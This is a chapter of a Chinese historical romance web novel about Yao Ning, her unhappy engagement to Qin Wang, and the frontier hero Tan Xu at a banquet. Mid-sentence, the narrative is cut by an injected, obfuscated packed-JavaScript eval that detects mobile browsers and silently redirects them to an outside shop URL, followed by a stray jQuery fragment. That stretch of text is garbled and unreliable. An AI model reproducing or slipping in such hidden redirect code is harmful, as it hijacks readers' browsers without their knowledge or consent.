姚宁回府后,本来想直接钻回自己的墨香院,但是穿过垂花门就遇到了母亲裴氏。
“小宝,今天和秦望去郊外放纸鸢玩得开心吗?”
今日姚宁是以和秦望去郊外放纸鸢的理由向母亲要来了出府的对牌,一来是她自己一个人出府母亲必然会不放心,二来她也想让母亲放心祖母为她定下的这门婚事。
姚宁强撑着露出一个笑容来,对着裴氏道,“母亲,我今日玩得有些累了,想早些回去休息。”
裴氏扫过她的脸,看着有些肿的眼眶,直觉有些不对劲。
“小宝怎么哭过?”
其实在马车上,姚宁就已经让芙蕖用热鸡蛋给她敷过眼睛,但是因为今天实在是哭得太久,这会儿还是有点肿。
她上前挽住母亲的手臂,亲昵地靠在裴氏的肩膀上,“母亲,我就是不小心摔了一跤,你看。”
一边说着,一边还把自己手心的伤口给裴氏看。
裴氏还是觉得有些不对劲,她转头看了眼芙蕖,“小宝,你的纸鸢呢?之前看你可宝贝那个纸鸢,怎么没带回来?”
姚宁“啊——”了一声,脑瓜子转得飞快,“我和秦望比谁的纸鸢飞得高,然后就断了。”
听到“断了”二字,裴氏的心里也跟着一阵刺痛,转瞬即逝。
裴氏来不及多想,大伯娘李氏从东垂门走了过来,“弟妹,小宝。”
姚宁对着李氏行了一礼,清甜地喊了一声“大伯母”。
李氏走过来摸了摸姚宁白嫩嫩的脸颊,只觉得心满意足。李氏只生了两个儿子,好在现在家中老爷子还在,大房二房还没分家,还能经常看二房的侄女解解馋。
“我今日回娘家,听我嫂子说镇国公府的那位世子前些日子刚回京。这下镇国公府老夫人的寿宴可得热闹了。”
裴氏像是想到什么突然停下了脚步,难怪她总觉得自己忘了什么,“金缕阁在晌午的时候送了衣服过来,小宝等会儿回去试试合不合身,若是不合身就让铺子里的绣娘再改改。”
这衣服正是为着去镇国公府老夫人的寿宴准备的。
“镇国公府世子?”姚宁有些对不上人脸,“是那位常宁长公主的儿子?”
李氏点了点头,见她有些疑惑和好奇,便给她解释道,“正是,这位谈世子之前一直在边关,小宝应当是没见过。”
姚宁若有所思地点了点头。
——镇国公府——
“站住。”
常宁长公主放下手中的茶盏,看着刚回府的儿子,就气不打一出来。
今日本想让他去和宣平侯府的二姑娘相看,结果一大早他又不知道跑哪儿去了。
之前去边关也是,整个国公府谁也不知道,他自己一声不吭就偷偷去了边关。
一去就是五六年,一直到半个月前才回来。
谈叙对着常宁长公主拱手行礼,“儿子拜见母亲。”
“母亲怎的火气这么大,等会儿让小厨房煮碗甘豆汤来,给母亲去去火。”
常宁长公主轻哼了一声,面上的冷霜倒是稍微化掉了一点,但还是想挑眼前人的刺。
“用不着你在本宫面前装孝顺。”
谈叙摸了摸鼻子,他知道母亲还是在生他不告而别的气,他也不想在这儿碍眼,等会儿把母亲气病了,他可得被他老子摁着揍。
“那儿子先行告退,等母亲看儿子顺眼了,儿子再来母亲跟前尽孝。”
常宁长公主抄起手中的茶盏,就想往这个“不孝子”身上扔。但是谈叙一转身,常宁长公主就看到他手上抓着一个纸鸢,实在有些稀奇。
“回来。”
常宁长公主挑眉问道,“手里拿着什么?”
谈叙低头看了眼手中的纸鸢,脑海里快速闪过那双濡湿、泛红的双眼。
他有些不自然地清了清嗓子,“没什么,路上捡到的一个纸鸢,等下次还给失主。”
常宁长公主这下更好奇了,那张脸上写满了”你能有这么好心?”几个大字。
“这是有喜欢的姑娘了,是哪家的姑娘?”
早说啊,若是知道他这个不开窍的儿子有喜欢的姑娘,她还做什么大张旗鼓地替他张罗相看的事情。
“母亲多虑了,不过是偶然捡到。我瞧这纸鸢做工精美,想必是失主极为心爱之物,便带回来等下次还给失主。”
常宁长公主还是有些不死心,她接过谈叙手中的纸鸢,倒是对谈叙刚刚所说的话信了有七八成。
常宁长公主也是京城有名的丹青圣手,她看着纸鸢上的春景笔意绝佳、气韵生动,莫名觉得这画风有些熟悉。不过她没甚在意,只当是作画之人临摹了关大师的画作,得了几分灵气。
空欢喜一场的常宁长公主,一时间有些上不来气,她摆了摆手把谈叙挥退了,让他别在面前碍眼。
谈叙讪讪地对常宁长公主行礼后退下。
回到自己的书房,他把纸鸢放在了书案上,脑海里闪过刚刚常宁长公主打趣他的话。
而后又把纸鸢收起来,放在了书架上。
不过是个爱哭的小姑娘。
更何况他从未想过娶妻这样的麻烦事。
……
转眼就到了镇国公府老夫人的寿宴,姚宁这几日都窝在府里,看些闲书打发时间。
今儿个一大早,姚宁就被裴氏捞起来换衣服,看着芙蕖和菡萏手上四五件衣物,姚宁就觉得有些头疼。
“母亲,如今虽然才四月,但午间也热得很。我能不能不穿这么多?”
“要不我今日穿那件水蓝色的素罗褙子。”
裴氏拍了一下她的手背,拿出一对桃粉色的细坠耳饰在她耳朵上比划了一下,“别乱动,等会儿来不及了。”
姚宁撇了撇嘴,认命地由着几人给她梳妆打扮。
一直到坐在马车上,姚宁整个人还是睡眼惺忪的。
姚府上下如今一共只有李氏、裴氏、姚宁三位女眷,因此三人同乘的一辆马车。
到了平阳街,镇国公府和常宁长公主的长公主府几乎占了半条街。听着马车外的许多人热络的寒暄声,姚宁偷偷掀开一角车帘,忍不住“哇”了一声。
“没想到晋王府、齐王府的人也来了。”
晋王、齐王是当今圣上唯二成年的皇子,成婚后早早就出宫建府。如果连这两个府上都来人了,看来镇国公府老夫人的寿宴办的确实是相当有排场。
就好比现在,镇国公府门口都堵马车了。
难怪今日母亲这么早就把她喊起来梳妆打扮。
等晋王府和齐王府的人进府后,姚宁才跟着李氏、裴氏下了马车。由丫鬟带领着进了后院,姚宁就看见表姐裴璇和小姐妹白声声对着她挥手打招呼。
“母亲、大伯母,我过去找表姐她们玩。”
裴氏对着她笑着点了点头,“去吧,小心些。”
姚宁原本想提起裙摆跑过去找裴璇,但是想到这是在宴席上,许多双眼睛瞧着,她只好端着之前女夫子教的仪态,朝着裴璇她们走过去。
“表姐、白姐姐。”
裴璇握着她的手,把她从头到脚打量了一遍,忍不住啧啧称赞,“小宝今儿个真如桃花仙女下凡一般。”
姚宁有些不好意思,抱着裴璇的胳膊撒娇,“表姐,你就别打趣我了。”
知道她脸皮薄,裴璇也没再说些让她面红耳赤的话。
“我们刚刚还在说今日镇国公府老夫人的寿宴,可真是热闹,只怕要比宫里……”
还不等裴璇说完,白声声便拍了一下她的手臂,嗔怪道,“这还未入席呢,你便先吃醉了。”
意识到自己嘴快,差点说错话,裴璇赶紧拍了拍自己的嘴巴。
“我这不是见晋王妃和齐王妃都来了,所以才好奇呢嘛。”
白声声托着腮点了点头,“只怕在这京中也就只有常宁长公主才能有这般的面子。”
这位常宁长公主可真是受宠,和当今圣上是一母同胞的亲兄妹,上有太后、皇上宠着,下有镇国公呵护着。
“听说谈世子前段时间也归京了,此次平定北
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695665|207986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
疆叛乱,谈世子可是立了大功。”
“而且这位谈世子在宫中也十分受宠,听说圣上对他可比对自己亲儿子还要更看重些。”
“谁说不是呢,那可是连皇子都敢揍的混世魔王。”
就连儿子也如此有出息,几人纷纷又感叹又羡慕起常宁长公主。
不过姚宁一向对这些事情没什么兴趣,听着裴璇两人说话,她打了个哈欠。
裴璇瞥了一眼姚宁因为打哈欠眼角沁出的泪珠,不怀好意地笑了一下。
姚宁感受到表姐的眼神,侧头看着她略带猥琐的表情,往边上挪了一点,“表姐,你这般看着我做什么?”
“咳咳”,裴璇嘿嘿一笑,更显得猥琐了,“我听说这位谈世子俊美无双,虽说常年习武但是五官硬朗却不失俊朗,人称玉面将军。”
“若是谈世子和秦世子放在一块儿,你更喜欢谁?”
姚宁:?
她眨了眨眼睛,把裴璇的话重复了三遍,羞愤地站起来握拳捶了一下裴璇的胳膊,“表姐,你胡说什么呢?”
见姚宁似乎是真的生气了,裴璇扯了一下她的衣袖,赶紧求饶,“好妹妹,我错了。我这不是觉得那秦望根本配不上你。若是没有那劳什子婚约在,我觉得小宝值得更好的。”
即使是一向最稳重的白声声也跟着点头。
姚宁噘着嘴,不知道该说些什么。她一直告诉自己这是祖母给她定下的婚事,就算她不愿意,祖父只怕不能同意她退婚。
“怎么了”,裴璇很快就察觉出她眼里的落寞,关切地问道,“你和秦望又吵架了?”
裴璇摇了摇头,换了个问法,“秦望那个狗东西是不是又把你惹哭了。”
姚宁“哎呀”了一声,打算萌混过关,“没有,不说这个了。”
见表姐她们不打算换过话题,姚宁只好借口要去更衣。
只是这镇国公府太大了,她从净室出来和芙蕖二人像两只无头苍蝇似的乱转,没想到转到了前厅的诗会雅集上。
姚宁想着自己一个女眷不好随意走动,因此想着赶紧回后院,但是正巧就听到了自己的名字。
“礼部尚书家的姚四姑娘?就那个爱哭鬼?”
席间众人都忍不住笑出声。
“要不说秦世子好福气呢。”
在这京中谁人不知,谁人不晓。礼部尚书家的小小姐姚宁,是以爱哭、绿茶这样的标签名冠京城的。
秦望听着他们说的话,捏着手中的酒杯,心里充斥着烦躁。
为何他的未婚妻不能有点好听的名声,为何独独姚宁身上有这样丢人的标签,连带着他也被人笑话。
坐在秦望身边的徐景瑞,瞥了一眼秦望那阴沉地可怕的样子,勾了勾唇角,“我倒是觉得只有司姑娘这样豁达又胸襟宽广的姑娘才能配得上秦世子。”
穿着一身男装的司妙言,看向出声的徐景瑞,轻扯了一下嘴角,把自己杯中的酒一饮而尽。
众人顿时传出几道叫好声和喝彩声。
秦望听了徐景瑞刚刚说的话,就拧眉呵斥道,“不可胡说,司姑娘虽是我们同窗,却是姑娘家。”
更何况,他早已和姚宁有了婚约。虽然现在姚宁在京城中名声一般,举止气度全无半分侯府世子夫人的模样。不过他认为只要自己多加管束提点,总能将她教得妥帖得体。
席间有人显然已经醉得不轻,提着酒杯摇摇晃晃地走到秦望跟前。
“还是秦世子好福气,在国子监有司姑娘相伴,家中还有姚姑娘这样的未婚妻。”
“姚四姑娘如此国色天香,美人落泪这样的画面只怕更会让人怜惜。”
姚宁咬着嘴唇,整个人都像是被钉在原地。
突然被人捂住了耳朵,“别听。”
话音刚落,众人身后的屏风“嘭”地一声被人踹的四分五裂。
都不等众人反应过来,就见有人揪住了刚刚凑到秦望跟前说话的人的衣领,指节用力收紧将人往前猛拽,另一只手攥紧拳头,裹挟着满腔怒火直直朝他面门挥过去。